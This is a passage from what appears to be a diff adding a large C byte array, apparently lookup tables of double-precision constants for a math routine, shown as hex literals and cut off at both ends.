0x2f, 0x3e, + 0x9e, 0x0a, 0xc0, 0xd2, 0xa2, 0x84, 0x3b, 0x3e, 0xd1, 0x5b, 0xc2, 0xf2, + 0xb0, 0xa5, 0x20, 0x3e, 0x99, 0xf6, 0x5b, 0x22, 0x60, 0xd6, 0x3d, 0x3e, + 0x37, 0xf0, 0x9b, 0x85, 0x0f, 0xb1, 0x08, 0x3e, 0xe1, 0xcb, 0x90, 0xb5, + 0x23, 0x88, 0x3e, 0x3e, 0xf6, 0x96, 0x1e, 0xf3, 0x11, 0x13, 0x36, 0x3e, + 0x9a, 0x0f, 0xa2, 0x5c, 0x87, 0x1f, 0x2e, 0x3e, 0xa5, 0xb9, 0x39, 0x49, + 0x72, 0x95, 0x2c, 0x3e, 0xe2, 0x58, 0x3e, 0x7a, 0x95, 0x05, 0x38, 0x3e, + 0x34, 0x03, 0x9f, 0xea, 0x26, 0xf1, 0x2f, 0x3e, 0x09, 0x56, 0x8e, 0x59, + 0xf5, 0x53, 0x39, 0x3e, 0x48, 0xc4, 0x56, 0xf8, 0x6f, 0xc1, 0x36, 0x3e, + 0xf4, 0x61, 0xf2, 0x0f, 0x22, 0xcb, 0x24, 0x3e, 0xa2, 0x53, 0x3d, 0xd5, + 0x20, 0xe1, 0x35, 0x3e, 0x56, 0xf2, 0x89, 0x61, 0x7f, 0x52, 0x3a, 0x3e, + 0x0f, 0x9c, 0xd4, 0xff, 0xfc, 0x56, 0x38, 0x3e, 0xda, 0xd7, 0x28, 0x82, + 0x2e, 0x0c, 0x30, 0x3e, 0xe0, 0xdf, 0x44, 0x94, 0xd0, 0x13, 0xf1, 0x3d, + 0xa6, 0x59, 0xea, 0x0e, 0x63, 0x10, 0x25, 0x3e, 0x11, 0xd7, 0x32, 0x0f, + 0x78, 0x2e, 0x26, 0x3e, 0xcf, 0xf8, 0x10, 0x1a, 0xd9, 0x3e, 0xed, 0x3d, + 0x85, 0xcd, 0x4b, 0x7e, 0x4a, 0x65, 0x23, 0x3e, 0x21, 0xad, 0x80, 0x49, + 0x78, 0x5b, 0x05, 0x3e, 0x64, 0x6e, 0xb1, 0xd4, 0x2d, 0x2f, 0x21, 0x3e, + 0x0c, 0xf5, 0x39, 0xd9, 0xad, 0xc4, 0x37, 0x3e, 0xfc, 0x80, 0x71, 0x62, + 0x84, 0x17, 0x28, 0x3e, 0x61, 0x49, 0xe1, 0xc7, 0x62, 0x51, 0xea, 0x3d, + 0x63, 0x51, 0x36, 0x19, 0x90, 0x0c, 0x31, 0x3e, 0x88, 0x76, 0xa1, 0x2b, + 0x4d, 0x3c, 0x37, 0x3e, 0x81, 0x3d, 0xe9, 0xe0, 0xa5, 0xe8, 0x2a, 0x3e, + 0xaf, 0x21, 0x16, 0xf0, 0xc6, 0xb0, 0x2a, 0x3e, 0x66, 0x5b, 0xdd, 0x74, + 0x8b, 0x1e, 0x30, 0x3e, 0x94, 0x54, 0xbb, 0xec, 0x6f, 0x20, 0x2d, 0x3e, + 0x00, 0xcc, 0x4f, 0x72, 0x8b, 0xb4, 0xf0, 0x3d, 0x29, 0xe2, 0x61, 0x0b, + 0x1f, 0x83, 0x3f, 0x3e, 0xaf, 0xbc, 0x07, 0xc4, 0x97, 0x1a, 0xf8, 0x3d, + 0xaa, 0xb7, 0xcb, 0x1c, 0x6c, 0x28, 0x3e, 0x3e, 0x93, 0x0a, 0x22, 0x49, + 0x0b, 0x63, 0x28, 0x3e, 0x5c, 0x2c, 0xa2, 0xc1, 0x15, 0x0b, 0xff, 0x3d, + 0x46, 0x09, 0x1c, 0xe7, 0x45, 0x54, 0x35, 0x3e, 0x85, 0x6d, 0x06, 0xf8, + 0x30, 0xe6, 0x3b, 0x3e, 0x39, 0x6c, 0xd9, 0xf0, 0xdf, 0x99, 0x25, 0x3e, + 0x81, 0xb0, 0x8f, 0xb1, 0x85, 0xcc, 0x36, 0x3e, 0xc8, 0xa8, 0x1e, 0x00, + 0x6d, 0x47, 0x34, 0x3e, 0x1f, 0xd3, 0x16, 0x9e, 0x88, 0x3f, 0x37, 0x3e, + 0x87, 0x2a, 0x79, 0x0d, 0x10, 0x57, 0x33, 0x3e, 0xf6, 0x01, 0x61, 0xae, + 0x79, 0xd1, 0x3b, 0x3e, 0xe2, 0xf6, 0xc3, 0x56, 0x10, 0xa3, 0x0c, 0x3e, + 0xfb, 0x08, 0x9c, 0x62, 0x70, 0x28, 0x3d, 0x3e, 0x3f, 0x67, 0xd2, 0x80, + 0x38, 0xba, 0x3a, 0x3e, 0xa6, 0x7d, 0x29, 0xcb, 0x33, 0x36, 0x2c, 0x3e, + 0x02, 0xea, 0xef, 0x99, 0x38, 0x84, 0x21, 0x3e, 0xe6, 0x08, 0x20, 0x9d, + 0xc9, 0xcc, 0x3b, 0x3e, 0x50, 0xd3, 0xbd, 0x44, 0x05, 0x00, 0x38, 0x3e, + 0xe1, 0x6a, 0x60, 0x26, 0xc2, 0x91, 0x2b, 0x3e, 0xdf, 0x2b, 0xb6, 0x26, + 0xdf, 0x7a, 0x2a, 0x3e, 0xc9, 0x6e, 0x82, 0xc8, 0x4f, 0x76, 0x18, 0x3e, + 0xf0, 0x68, 0x0f, 0xe5, 0x3d, 0x4f, 0x1f, 0x3e, 0xe3, 0x95, 0x79, 0x75, + 0xca, 0x60, 0xf7, 0x3d, 0x47, 0x51, 0x80, 0xd3, 0x7e, 0x66, 0xfc, 0x3d, + 0x6f, 0xdf, 0x6a, 0x19, 0xf6, 0x33, 0x37, 0x3e, 0x6b, 0x83, 0x3e, 0xf3, + 0x10, 0xb7, 0x2f, 0x3e, 0x13, 0x10, 0x64, 0xba, 0x6e, 0x88, 0x39, 0x3e, + 0x1a, 0x8c, 0xaf, 0xd0, 0x68, 0x53, 0xfb, 0x3d, 0x71, 0x29, 0x8d, 0x1b, + 0x69, 0x8c, 0x35, 0x3e, 0xfb, 0x08, 0x6d, 0x22, 0x65, 0x94, 0xfe, 0x3d, + 0x97, 0x00, 0x3f, 0x06, 0x7e, 0x58, 0x33, 0x3e, 0x18, 0x9f, 0x12, 0x02, + 0xe7, 0x18, 0x36, 0x3e, 0x54, 0xac, 0x7a, 0xfc, 0x33, 0x1c, 0x36, 0x3e, + 0x4a, 0x60, 0x08, 0x84, 0xa6, 0x07, 0x3f, 0x3e, 0x21, 0x54, 0x94, 0xe4, + 0xbf, 0x34, 0x3c, 0x3e, 0x0b, 0x30, 0x41, 0x0e, 0xf0, 0xb1, 0x38, 0x3e, + 0x63, 0x1b, 0xd6, 0x84, 0x42, 0x43, 0x3f, 0x3e, 0x36, 0x74, 0x39, 0x5e, + 0x09, 0x63, 0x3a, 0x3e, 0xde, 0x19, 0xb9, 0x56, 0x86, 0x42, 0x34, 0x3e, + 0xa6, 0xd9, 0xb2, 0x01, 0x92, 0xca, 0x36, 0x3e, 0x1c, 0x93, 0x2a, 0x3a, + 0x82, 0x38, 0x27, 0x3e, 0x30, 0x92, 0x17, 0x0e, 0x88, 0x11, 0x3c, 0x3e, + 0xfe, 0x52, 0x6d, 0x8d, 0xdc, 0x3d, 0x31, 0x3e, 0x17, 0xe9, 0x22, 0x89, + 0xd5, 0xee, 0x33, 0x3e, 0x50, 0xdd, 0x6b, 0x84, 0x92, 0x59, 0x29, 0x3e, + 0x8b, 0x27, 0x2e, 0x5f, 0x4d, 0xdb, 0x0d, 0x3e, 0xc4, 0x35, 0x06, 0x2a, + 0xf1, 0xa5, 0xf1, 0x3d, 0x34, 0x3c, 0x2c, 0x88, 0xf0, 0x42, 0x46, 0x3e, + 0x5e, 0x47, 0xf6, 0xa7, 0x9b, 0xee, 0x2a, 0x3e, 0xe4, 0x60, 0x4a, 0x83, + 0x7f, 0x4b, 0x26, 0x3e, 0x2e, 0x79, 0x43, 0xe2, 0x42, 0x0d, 0x29, 0x3e, + 0x01, 0x4f, 0x13, 0x08, 0x20, 0x27, 0x4c, 0x3e, 0x5b, 0xcf, 0xd6, 0x16, + 0x2e, 0x78, 0x4a, 0x3e, 0x48, 0x66, 0xda, 0x79, 0x5c, 0x50, 0x44, 0x3e, + 0x21, 0xcd, 0x4d, 0xea, 0xd4, 0xa9, 0x4c, 0x3e, 0xbc, 0xd5, 0x7c, 0x62, + 0x3d, 0x7d, 0x29, 0x3e, 0x13, 0xaa, 0xbc, 0xf9, 0x5c, 0xb1, 0x20, 0x3e, + 0xdd, 0x76, 0xcf, 0x63, 0x20, 0x5b, 0x31, 0x3e, 0x48, 0x27, 0xaa, 0xf3, + 0xe6, 0x83, 0x29, 0x3e, 0x94, 0xe9, 0xff, 0xf4, 0x64, 0x4c, 0x3f, 0x3e, + 0x0f, 0x5a, 0xe8, 0x7c, 0xba, 0xbe, 0x46, 0x3e, 0xb8, 0xa6, 0x4e, 0xfd, + 0x69, 0x9c, 0x3b, 0x3e, 0xab, 0xa4, 0x5f, 0x83, 0xa5, 0x6a, 0x2b, 0x3e, + 0xd1, 0xed, 0x0f, 0x79, 0xc3, 0xcc, 0x43, 0x3e, 0xe0, 0x4f, 0x40, 0xc4, + 0x4c, 0xc0, 0x29, 0x3e, 0x9d, 0xd8, 0x75, 0x7a, 0x4b, 0x73, 0x40, 0x3e, + 0x12, 0x16, 0xe0, 0xc4, 0x04, 0x44, 0x1b, 0x3e, 0x94, 0x48, 0xce, 0xc2, + 0x65, 0xc5, 0x40, 0x3e, 0xcd, 0x35, 0xd9, 0x41, 0x14, 0xc7, 0x33, 0x3e, + 0x4e, 0x3b, 0x6b, 0x55, 0x92, 0xa4, 0x72, 0x3d, 0x43, 0xdc, 0x41, 0x03, + 0x09, 0xfa, 0x20, 0x3e, 0xf4, 0xd9, 0xe3, 0x09, 0x70, 0x8f, 0x2e, 0x3e, + 0x45, 0x8a, 0x04, 0x8b, 0xf6, 0x1b, 0x4b, 0x3e, 0x56, 0xa9, 0xfa, 0xdf, + 0x52, 0xee, 0x3e, 0x3e, 0xbd, 0x65, 0xe4, 0x00, 0x09, 0x6b, 0x45, 0x3e, + 0x66, 0x76, 0x77, 0xf5, 0x9e, 0x92, 0x4d, 0x3e, 0x60, 0xe2, 0x37, 0x86, + 0xa2, 0x6e, 0x48, 0x3e, 0xf0, 0xa2, 0x0c, 0xf1, 0xaf, 0x65, 0x46, 0x3e, + 0x74, 0xec, 0x48, 0xaf, 0xfd, 0x11, 0x2f, 0x3e, 0xc7, 0xd1, 0xa4, 0x86, + 0x1b, 0xbe, 0x4c, 0x3e, 0x65, 0x76, 0xa8, 0xfe, 0x5b, 0xb0, 0x25, 0x3e, + 0x1d, 0x4a, 0x1a, 0x0a, 0xc2, 0xce, 0x41, 0x3e, 0x9f, 0x9b, 0x40, 0x0a, + 0x5f, 0xcd, 0x41, 0x3e, 0x70, 0x50, 0x26, 0xc8, 0x56, 0x36, 0x45, 0x3e, + 0x60, 0x22, 0x28, 0x35, 0xd8, 0x7e, 0x37, 0x3e, 0xd2, 0xb9, 0x40, 0x30, + 0xbc, 0x17, 0x24, 0x3e, 0xf2, 0xef, 0x79, 0x7b, 0xef, 0x8e, 0x40, 0x3e, + 0xe9, 0x57, 0xdc, 0x39, 0x6f, 0xc7, 0x4d, 0x3e, 0x57, 0xf4, 0x0c, 0xa7, + 0x93, 0x04, 0x4c, 0x3e, 0x0c, 0xa6, 0xa5, 0xce, 0xd6, 0x83, 0x4a, 0x3e, + 0xba, 0x57, 0xc5, 0x0d, 0x70, 0xd6, 0x30, 0x3e, 0x0a, 0xbd, 0xe8, 0x12, + 0x6c, 0xc9, 0x44, 0x3e, 0x15, 0x23, 0xe3, 0x93, 0x19, 0x2c, 0x3d, 0x3e, + 0x42, 0x82, 0x5f, 0x13, 0x21, 0xc7, 0x22, 0x3e, 0x7d, 0x74, 0xda, 0x4d, + 0x3e, 0x9a, 0x27, 0x3e, 0x2b, 0xa7, 0x41, 0x69, 0x9f, 0xf8, 0xfc, 0x3d, + 0x31, 0x08, 0xf1, 0x02, 0xa7, 0x49, 0x21, 0x3e, 0xdb, 0x75, 0x81, 0x7c, + 0x4b, 0xad, 0x4e, 0x3e, 0x0a, 0xe7, 0x63, 0xfe, 0x30, 0x69, 0x4e, 0x3e, + 0x2f, 0xee, 0xd9, 0xbe, 0x06, 0xe1, 0x41, 0x3e, 0x92, 0x1c, 0xf1, 0x82, + 0x2b, 0x68, 0x2d, 0x3e, 0x7c, 0xa4, 0xdb, 0x88, 0xf1, 0x07, 0x3a, 0x3e, + 0xf6, 0x72, 0xc1, 0x2d, 0x34, 0xf9, 0x40, 0x3e, 0x25, 0x3e, 0x62, 0xde, + 0x3f, 0xef, 0x03, 0x3e, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x20, 0xe0, 0x1f, 0xe0, + 0x1f, 0xe0, 0xff, 0x3f, 0xf0, 0x07, 0xfc, 0x01, 0x7f, 0xc0, 0xff, 0x3f, + 0x12, 0xfa, 0x01, 0xaa, 0x1c, 0xa1, 0xff, 0x3f, 0x20, 0xf8, 0x81, 0x1f, + 0xf8, 0x81, 0xff, 0x3f, 0xb5, 0xdb, 0xa0, 0xac, 0x10, 0x63, 0xff, 0x3f, + 0x71, 0x42, 0x4a, 0x9e, 0x65, 0x44, 0xff, 0x3f, 0xb5, 0x0a, 0x23, 0x44, + 0xf6, 0x25, 0xff, 0x3f, 0x08, 0x1f, 0x7c, 0xf0, 0xc1, 0x07, 0xff, 0x3f, + 0x02, 0x8e, 0x45, 0xf8, 0xc7, 0xe9, 0xfe, 0x3f, 0xc0, 0xec, 0x01, 0xb3, + 0x07, 0xcc, 0xfe, 0x3f, 0xeb, 0x01, 0xba, 0x7a, 0x80, 0xae, 0xfe, 0x3f, + 0x67, 0xb7, 0xf0, 0xab, 0x31, 0x91, 0xfe, 0x3f, 0xe4, 0x50, 0x97, 0xa5, + 0x1a, 0x74, 0xfe, 0x3f, 0x74, 0xe5, 0x01, 0xc9, 0x3a, 0x57, 0xfe, 0x3f, + 0x73, 0x1a, 0xdc, 0x79, 0x91, 0x3a, 0xfe, 0x3f, 0x1e, 0x1e, 0x1e, 0x1e, + 0x1e, 0x1e, 0xfe, 0x3f, 0x1e, 0xe0, 0x01, 0x1e, 0xe0, 0x01, 0xfe, 0x3f, + 0x8a, 0x86, 0xf8, 0xe3, 0xd6, 0xe5, 0xfd, 0x3f, 0xca, 0x1d, 0xa0, 0xdc, + 0x01, 0xca, 0xfd, 0x3f, 0xdb, 0x81, 0xb9, 0x76, 0x60, 0xae, 0xfd, 0x3f, + 0x8a, 0x7f, 0x1e, 0x23, 0xf2, 0x92, 0xfd, 0x3f, 0x34, 0x2c, 0xb8, 0x54, + 0xb6, 0x77, 0xfd, 0x3f, 0xb2, 0x72, 0x75, 0x80, 0xac, 0x5c, 0xfd, 0x3f, + 0x1d, 0xd4, 0x41, 0x1d, 0xd4, 0x41, 0xfd, 0x3f, 0x1a, 0x5b, 0xfc, 0xa3, + 0x2c, 0x27, 0xfd, 0x3f, 0x74, 0xc0, 0x6e, 0x8f, 0xb5, 0x0c, 0xfd, 0x3f, + 0xc6, 0xbf, 0x44, 0x5c, 0x6e, 0xf2, 0xfc, 0x3f, 0x0b, 0x9b, 0x03, 0x89, + 0x56, 0xd8, 0xfc, 0x3f, 0xe7, 0xcb, 0x01, 0x96, 0x6d, 0xbe, 0xfc, 0x3f, + 0x91, 0xe1, 0x5e, 0x05, 0xb3, 0xa4, 0xfc, 0x3f, 0x42, 0x8a, 0xfb, 0x5a, + 0x26, 0x8b, 0xfc, 0x3f, 0x1c, 0xc7, 0x71, 0x1c, 0xc7, 0x71, 0xfc, 0x3f, + 0x86, 0x49, 0x0d, 0xd1, 0x94, 0x58, 0xfc, 0x3f, 0xf0, 0xf8, 0xc3, 0x01, + 0x8f, 0x3f, 0xfc, 0x3f, 0x1c, 0xa0, 0x2e, 0x39, 0xb5, 0x26, 0xfc, 0x3f, + 0xe0, 0xc0, 0x81, 0x03, 0x07, 0x0e, 0xfc, 0x3f, 0x8b, 0x8d, 0x86, 0xee, + 0x83, 0xf5, 0xfb, 0x3f, 0xf7, 0x06, 0x94, 0x89, 0x2b, 0xdd, 0xfb, 0x3f, + 0x7b, 0x3e, 0x88, 0x65, 0xfd, 0xc4, 0xfb, 0x3f, 0xd0, 0xba, 0xc1, 0x14, + 0xf9, 0xac, 0xfb, 0x3f, 0x23, 0xff, 0x18, 0x2b, 0x1e, 0x95, 0xfb, 0x3f, + 0x8b, 0x33, 0xda, 0x3d, 0x6c, 0x7d, 0xfb, 0x3f, 0x05, 0xee, 0xbe, 0xe3, + 0xe2, 0x65, 0xfb, 0x3f, 0x4f, 0x1b, 0xe8, 0xb4, 0x81, 0x4e, 0xfb, 0x3f, + 0xce, 0x06, 0xd8, 0x4a, 0x48, 0x37, 0xfb, 0x3f, 0xd9, 0x80, 0x6c, 0x40, + 0x36, 0x20, 0xfb, 0x3f, 0xa4, 0x22, 0xd9, 0x31, 0x4b, 0x09, 0xfb, 0x3f, + 0x28, 0xaf, 0xa1, 0xbc, 0x86, 0xf2, 0xfa, 0x3f, 0x5e, 0x90, 0x94, 0x7f, + 0xe8, 0xdb, 0xfa, 0x3f, 0x1b, 0x70, 0xc5, 0x1a, 0x70, 0xc5, 0xfa, 0x3f, + 0xfd, 0xeb, 0x87, 0x2f, 0x1d, 0xaf, 0xfa, 0x3f, 0xbe, 0x63, 0x6a, 0x60, + 0xef, 0x98, 0xfa, 0x3f, 0x59, 0xe1, 0x30, 0x51, 0xe6, 0x82, 0xfa, 0x3f, + 0x6d, 0x1a, 0xd0, 0xa6, 0x01, 0x6d, 0xfa, 0x3f, 0x4a, 0x8a, 0x68, 0x07, + 0x41, 0x57, 0xfa, 0x3f, 0x1a, 0xa4, 0x41, 0x1a, 0xa4, 0x41, 0xfa, 0x3f, + 0xa0, 0x1c, 0xc5, 0x87, 0x2a, 0x2c, 0xfa, 0x3f, 0x02, 0x4b, 0x7a, 0xf9, + 0xd3, 0x16, 0xfa, 0x3f, 0x1a, 0xa0, 0x01, 0x1a, 0xa0, 0x01, 0xfa, 0x3f, + 0xd9, 0x33, 0x10, 0x95, 0x8e, 0xec, 0xf9, 0x3f, 0x2d, 0x68, 0x6b, 0x17, + 0x9f, 0xd7, 0xf9, 0x3f, 0x02, 0xa1, 0xe4, 0x4e, 0xd1, 0xc2, 0xf9, 0x3f, + 0xda, 0x10, 0x55, 0xea, 0x24, 0xae, 0xf9, 0x3f, 0x9a, 0x99, 0x99, 0x99, + 0x99, 0x99, 0xf9, 0x3f, 0xff, 0xc0, 0x8e, 0x0d, 0x2f, 0x85, 0xf9, 0x3f, + 0x72, 0xb8, 0x0c, 0xf8, 0xe4, 0x70, 0xf9, 0x3f, 0xae, 0x77, 0xe3, 0x0b, + 0xbb, 0x5c, 0xf9, 0x3f, 0xe0, 0xe9, 0xd6, 0xfc, 0xb0, 0x48, 0xf9, 0x3f, + 0xe6, 0x2c, 0x9b, 0x7f, 0xc6, 0x34, 0xf9, 0x3f, 0x29, 0xe2, 0xd0, 0x49, + 0xfb, 0x20, 0xf9, 0x3f, 0xd5, 0x90, 0x01, 0x12, 0x4f, 0x0d, 0xf9, 0x3f, + 0xfa, 0x18, 0x9c, 0x8f, 0xc1, 0xf9, 0xf8, 0x3f, 0x3f, 0x37, 0xf1, 0x7a, + 0x52, 0xe6, 0xf8, 0x3f, 0xd3, 0x18, 0x30, 0x8d, 0x01, 0xd3, 0xf8, 0x3f, + 0x3a, 0xff, 0x62, 0x80, 0xce, 0xbf, 0xf8, 0x3f, 0xaa, 0xf3, 0x6b, 0x0f, + 0xb9, 0xac, 0xf8, 0x3f, 0x9c, 0x89, 0x01, 0xf6, 0xc0, 0x99, 0xf8, 0x3f, + 0x4a, 0xb0, 0xab, 0xf0, 0xe5, 0x86, 0xf8, 0x3f, 0xb9, 0x92, 0xc0, 0xbc, + 0x27, 0x74, 0xf8, 0x3f, 0x18, 0x86, 0x61, 0x18, 0x86, 0x61, 0xf8, 0x3f, + 0x14, 0x06, 0x78, 0xc2, 0x00, 0x4f, 0xf8, 0x3f, 0xdd, 0xbe, 0xb2, 0x7a, + 0x97, 0x3c, 0xf8, 0x3f, 0xa0, 0xa4, 0x82, 0x01, 0x4a, 0x2a, 0xf8, 0x3f, + 0x18, 0x18, 0x18, 0x18, 0x18, 0x18, 0xf8, 0x3f, 0x06, 0x18, 0x60, 0x80, + 0x01, 0x06, 0xf8, 0x3f, 0x40, 0x7f, 0x01, 0xfd, 0x05, 0xf4, 0xf7, 0x3f, + 0x1d, 0x4f, 0x5a, 0x51, 0x25, 0xe2, 0xf7, 0x3f, 0xf4, 0x05, 0x7d, 0x41, + 0x5f, 0xd0, 0xf7, 0x3f, 0x7c, 0x01, 0x2e, 0x92, 0xb3, 0xbe, 0xf7, 0x3f, + 0xc3, 0xec, 0xe0, 0x08, 0x22, 0xad, 0xf7, 0x3f, 0x8b, 0x39, 0xb6, 0x6b, + 0xaa, 0x9b, 0xf7, 0x3f, 0xc8, 0xa4, 0x78, 0x81, 0x4c, 0x8a, 0xf7, 0x3f, + 0x0d, 0xc6, 0x9a, 0x11, 0x08, 0x79, 0xf7, 0x3f, 0xb1, 0xa9, 0x34, 0xe4, + 0xdc, 0x67, 0xf7, 0x3f, 0x6d, 0x75, 0x01, 0xc2, 0xca, 0x56, 0xf7, 0x3f, + 0x46, 0x17, 0x5d, 0x74, 0xd1, 0x45, 0xf7, 0x3f, 0x8d, 0xfe, 0x41, 0xc5, + 0xf0, 0x34, 0xf7, 0x3f, 0xbc, 0xde, 0x46, 0x7f, 0x28, 0x24, 0xf7, 0x3f, + 0x09, 0x7c, 0x9c, 0x6d, 0x78, 0x13, 0xf7, 0x3f, 0x70, 0x81, 0x0b, 0x5c, + 0xe0, 0x02, 0xf7, 0x3f, 0x17, 0x60, 0xf2, 0x16, 0x60, 0xf2, 0xf6, 0x3f, + 0xc7, 0x37, 0x43, 0x6b, 0xf7, 0xe1, 0xf6, 0x3f, 0x61, 0xc8, 0x81, 0x26, + 0xa6, 0xd1, 0xf6, 0x3f, 0x17, 0x6c, 0xc1, 0x16, 0x6c, 0xc1, 0xf6, 0x3f, + 0x3d, 0x1a, 0xa3, 0x0a, 0x49, 0xb1, 0xf6, 0x3f, 0x90, 0x72, 0x53, 0xd1, + 0x3c, 0xa1, 0xf6, 0x3f, 0xc0, 0xd0, 0x88, 0x3a, 0x47, 0x91, 0xf6, 0x3f, + 0x17, 0x68, 0x81, 0x16, 0x68, 0x81, 0xf6, 0x3f, 0x1a, 0x67, 0x01, 0x36, + 0x9f, 0x71, 0xf6, 0x3f, 0xf9, 0x22, 0x51, 0x6a, 0xec, 0x61, 0xf6, 0x3f, + 0xa3, 0x4a, 0x3b, 0x85, 0x4f, 0x52, 0xf6, 0x3f, 0x64, 0x21, 0x0b, 0x59, + 0xc8, 0x42, 0xf6, 0x3f, 0xde, 0xc0, 0x8a, 0xb8, 0x56, 0x33, 0xf6, 0x3f, + 0x40, 0x62, 0x01, 0x77, 0xfa, 0x23, 0xf6, 0x3f, 0x94, 0xae, 0x31, 0x68, + 0xb3, 0x14, 0xf6, 0x3f, 0x06, 0x16, 0x58, 0x60, 0x81, 0x05, 0xf6, 0x3f, + 0xfc, 0x2d, 0x29, 0x34, 0x64, 0xf6, 0xf5, 0x3f, 0xe7, 0x15, 0xd0, 0xb8, + 0x5b, 0xe7, 0xf5, 0x3f, 0xa5, 0xe2, 0xec, 0xc3, 0x67, 0xd8, 0xf5, 0x3f, + 0x57, 0x10, 0x93, 0x2b, 0x88, 0xc9, 0xf5, 0x3f, 0x91, 0xfa, 0x47, 0xc6, + 0xbc, 0xba, 0xf5, 0x3f, 0xc0, 0x5a, 0x01, 0x6b, 0x05, 0xac, 0xf5, 0x3f, + 0xaa, 0xcc, 0x23, 0xf1, 0x61, 0x9d, 0xf5, 0x3f, 0xed, 0x58, 0x81, 0x30, + 0xd2, 0x8e, 0xf5, 0x3f, 0x60, 0x05, 0x58, 0x01, 0x56, 0x80, 0xf5, 0x3f, + 0x3a, 0x6b, 0x50, 0x3c, 0xed, 0x71, 0xf5, 0x3f, 0xe2, 0x52, 0x7c, 0xba, + 0x97, 0x63, 0xf5, 0x3f, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0xf5, 0x3f, + 0xfe, 0x82, 0xbb, 0xe6, 0x25, 0x47, 0xf5, 0x3f, 0xeb, 0x0f, 0xf4, 0x48, + 0x09, 0x39, 0xf5, 0x3f, 0x4b, 0x05, 0xa8, 0x56, 0xff, 0x2a, 0xf5, 0x3f, + 0x15, 0xf8, 0xe2, 0xea, 0x07, 0x1d, 0xf5, 0x3f, 0xc5, 0xc4, 0x11, 0xe1, + 0x22, 0x0f, 0xf5, 0x3f, 0x15, 0x50, 0x01, 0x15, 0x50, 0x01, 0xf5, 0x3f, + 0x9b, 0x4c, 0xdd, 0x62, 0x8f, 0xf3, 0xf4, 0x3f, 0x39, 0x05, 0x2f, 0xa7, + 0xe0, 0xe5, 0xf4, 0x3f, 0x4c, 0x2c, 0xdc, 0xbe, 0x43, 0xd8, 0xf4, 0x3f, + 0x6e, 0xaf, 0x25, 0x87, 0xb8, 0xca, 0xf4, 0x3f, 0xe1, 0x8f, 0xa6, 0xdd, + 0x3e, 0xbd, 0xf4, 0x3f, 0x5b, 0xbf, 0x52, 0xa0, 0xd6, 0xaf, 0xf4, 0x3f, + 0x4a, 0x01, 0x76, 0xad, 0x7f, 0xa2, 0xf4, 0x3f, 0x67, 0xd0, 0xb2, 0xe3, + 0x39, 0x95, 0xf4, 0x3f, 0x80, 0x48, 0x01, 0x22, 0x05, 0x88, 0xf4, 0x3f, + 0x7b, 0x14, 0xae, 0x47, 0xe1, 0x7a, 0xf4, 0x3f, 0x66, 0x60, 0x59, 0x34, + 0xce, 0x6d, 0xf4, 0x3f, 0x9a, 0xcf, 0xf5, 0xc7, 0xcb, 0x60, 0xf4, 0x3f, + 0xca, 0x76, 0xc7, 0xe2, 0xd9, 0x53, 0xf4, 0x3f, 0xfb, 0xd9, 0x62, 0x65, + 0xf8, 0x46, 0xf4, 0x3f, 0x4d, 0xee, 0xab, 0x30, 0x27, 0x3a, 0xf4, 0x3f, + 0x87, 0x1f, 0xd5, 0x25, 0x66, 0x2d, 0xf4, 0x3f, 0x51, 0x59, 0x5e, 0x26, + 0xb5, 0x20, 0xf4, 0x3f, 0x14, 0x14, 0x14, 0x14, 0x14, 0x14, 0xf4, 0x3f, + 0x66, 0x65, 0x0e, 0xd1, 0x82, 0x07, 0xf4, 0x3f, 0xfb, 0x13, 0xb0, 0x3f, + 0x01, 0xfb, 0xf3, 0x3f, 0x07, 0xaf, 0xa5, 0x42, 0x8f, 0xee, 0xf3, 0x3f, + 0x02, 0xa9, 0xe4, 0xbc, 0x2c, 0xe2, 0xf3, 0x3f, 0xc6, 0x75, 0xaa, 0x91, + 0xd9, 0xd5, 0xf3, 0x3f, 0xe7, 0xab, 0x7b, 0xa4, 0x95, 0xc9, 0xf3, 0x3f, + 0x55, 0x29, 0x23, 0xd9, 0x60, 0xbd, 0xf3, 0x3f, 0x14, 0x3b, 0xb1, 0x13, + 0x3b, 0xb1, 0xf3, 0x3f, 0x22, 0xc8, 0x7a, 0x38, 0x24, 0xa5, 0xf3, 0x3f, + 0x63, 0x7f, 0x18, 0x2c, 0x1c, 0x99, 0xf3, 0x3f, 0x8e, 0x08, 0x66, 0xd3, + 0x22, 0x8d, 0xf3, 0x3f, 0x14, 0x38, 0x81, 0x13, 0x38, 0x81, 0xf3, 0x3f, + 0xee, 0x45, 0xc9, 0xd1, 0x5b, 0x75, 0xf3, 0x3f, 0x48, 0x07, 0xde, 0xf3, + 0x8d, 0x69, 0xf3, 0x3f, 0xf8, 0x2a, 0x9f, 0x5f, 0xce, 0x5d, 0xf3, 0x3f, + 0xc1, 0x78, 0x2b, 0xfb, 0x1c, 0x52, 0xf3, 0x3f, 0x46, 0x13, 0xe0, 0xac, + 0x79, 0x46, 0xf3, 0x3f, 0xb2, 0xbc, 0x57, 0x5b, 0xe4, 0x3a, 0xf3, 0x3f, + 0xfa, 0x1d, 0x6a, 0xed, 0x5c, 0x2f, 0xf3, 0x3f, 0xbf, 0x10, 0x2b, 0x4a, + 0xe3, 0x23, 0xf3, 0x3f, 0xb6, 0xeb, 0xe9, 0x58, 0x77, 0x18, 0xf3, 0x3f, + 0x90, 0xd1, 0x30, 0x01, 0x19, 0x0d, 0xf3, 0x3f, 0x60, 0x02, 0xc4, 0x2a, + 0xc8, 0x01, 0xf3, 0x3f, 0x68, 0x2f, 0xa1, 0xbd, 0x84, 0xf6, 0xf2, 0x3f, + 0x4b, 0xd1, 0xfe, 0xa1, 0x4e, 0xeb, 0xf2, 0x3f, 0x97, 0x80, 0x4b, 0xc0, + 0x25, 0xe0, 0xf2, 0x3f, 0xa0, 0x50, 0x2d, 0x01, 0x0a, 0xd5, 0xf2, 0x3f, + 0xa0, 0x2c, 0x81, 0x4d, 0xfb, 0xc9, 0xf2, 0x3f, 0x11, 0x37, 0x5a, 0x8e, + 0xf9, 0xbe, 0xf2, 0x3f, 0x40, 0x2b, 0x01, 0xad, 0x04, 0xb4, 0xf2, 0x3f, + 0x05, 0xc1, 0xf3, 0x92, 0x1c, 0xa9, 0xf2, 0x3f, 0x9e, 0x12, 0xe4, 0x29, + 0x41, 0x9e, 0xf2, 0x3f, 0xa5, 0x04, 0xb8, 0x5b, 0x72, 0x93, 0xf2, 0x3f, + 0x13, 0xb0, 0x88, 0x12, 0xb0, 0x88, 0xf2, 0x3f, 0x4d, 0xce, 0xa1, 0x38, + 0xfa, 0x7d, 0xf2, 